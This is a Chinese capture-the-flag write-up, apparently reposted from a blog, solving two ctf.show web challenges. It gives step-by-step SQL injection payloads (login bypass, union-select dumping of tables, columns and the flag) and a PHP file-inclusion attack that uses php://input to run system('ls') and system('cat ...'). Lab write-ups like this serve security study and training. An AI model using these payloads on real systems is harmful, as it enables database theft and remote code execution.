CTF秀-WEB

2023-12-27 13:52:10

一、web02

在这里插入图片描述
1、从图中可以看出是POST类型的SQL注入。
2、使用BurpSuitzhuab。

在这里插入图片描述

3、发送到repeat模块。
在这里插入图片描述
在这里插入图片描述

4、查看是否存在万能密码。

1' or 1=1#

在这里插入图片描述

5、发现存在万能密码,且注入类型为单引号的字符串类型。
6、查看有几列。

  • 使用命令1' order by 3# 找不出有几列,因为无论是否找到正确的列数都是显示一样的页面,要使用命令1' or 1=1 order by 3# 当列数错误的时候,”欢迎…“的字段会消失。
1' order by 3#

在这里插入图片描述

1' or 1=1 order by 3#

在这里插入图片描述

1' or 1=1 order by 4#

在这里插入图片描述

7、可以看出有3列,进行回显。

1' or 1=1 union select 1,2,3#

在这里插入图片描述

8、可以看出回显出2,开始查询数据库名。

1' or 1=1 union select 1,database(),3#

在这里插入图片描述

9、可以看出查询出的数据库名是:web2,开始查询数据表。

1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

在这里插入图片描述

10、可以看到查询出的数据分别是:flag和user,开始查询指定数据表的数据列。

1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns  where table_schema='web2' and table_name='flag'#

在这里插入图片描述

11、可以看到查询到的列名是:flag,开始查询数据信息。

1' or 1=1 union select 1,flag,3 from flag # 

在这里插入图片描述

1' or 1=1 union select 1,flag,3 from 'flag' #     #加引号查询不出来

在这里插入图片描述

12、获得flag。

二、web3

在这里插入图片描述

  • 可以看出上述页面出现的代码存在文件包含函数include
  • 这段代码的含义是,它会包含并执行用户通过GET请求传递的URL所指定的文件。具体来说,$_GET[‘url’]部分会获取用户通过URL传递的url参数的数值,然后include语句会将这个值作为文件路径进行处理,并执行其中的PHP代码。
  • 存在文件包含时直接使用PHP伪协议

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。

1、查看该路径下有什么文件。

<?php system("ls");?>

在这里插入图片描述

2、查看指定文件。

<?php system("cat ctf_go_go_go");?>

在这里插入图片描述

3、也可以使用Bp进行抓包处理。
在这里插入图片描述

4、发送到repeat模块。
在这里插入图片描述

5、添加数据,要空一行,否则不会出现结果。
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_62670778/article/details/134482852
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。